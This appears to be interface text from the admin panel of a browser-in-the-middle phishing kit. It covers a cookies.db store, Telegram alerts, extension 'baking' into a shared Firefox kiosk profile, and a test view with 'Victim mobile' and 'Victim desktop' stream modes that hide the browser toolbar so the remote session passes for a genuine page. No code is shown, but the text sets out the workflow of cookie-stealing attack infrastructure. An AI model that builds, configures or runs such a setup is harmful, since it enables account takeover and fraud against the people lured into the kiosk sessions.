SQLite Database
Storage/app/data/cookies.db
Configuration
SettingsTelegram notifications, dashboard URL, and extension API key.
Git Repository
Auto PushCredentials for pushing builds and deploy artifacts to GitHub.
Firefox Extensions
ManageBuild, remove, and rebake extensions into the shared Firefox profile used by all kiosks. Build only packages .xpi files on disk — it does not change Firefox kiosks. Rebake installs all staged .xpi files into the Firefox profile (replaces baked extensions). Save Telegram credentials above before building.
Staged (.xpi on disk)
Baked (in Firefox profile)
VPS Stack Status
Docker / FirefoxChecks whether the dashboard can manage Docker, Firefox image is pulled, and extensions are baked in.
Rebake Extensions into Firefox
Select which staged .xpi files to install into the shared Firefox profile. Unselected extensions will be removed from the profile.
Test Kiosk
FirefoxPreview stream modes on the same 1280×900 Firefox session. Victim mobile = cropped (toolbar hidden, fills phone). Victim desktop = cropped (toolbar hidden, full width). Admin = full Firefox with URL bar — not cropped.
Quick Help
Help- Save Telegram bot token + chat ID in Configuration above.
- Use Firefox Extensions to build, remove, and rebake .xpi packages.
- Click Rebake into Firefox after any build or removal.
- Use Test Kiosk to verify extensions before going live.
- Full build UI also available on the Build tab.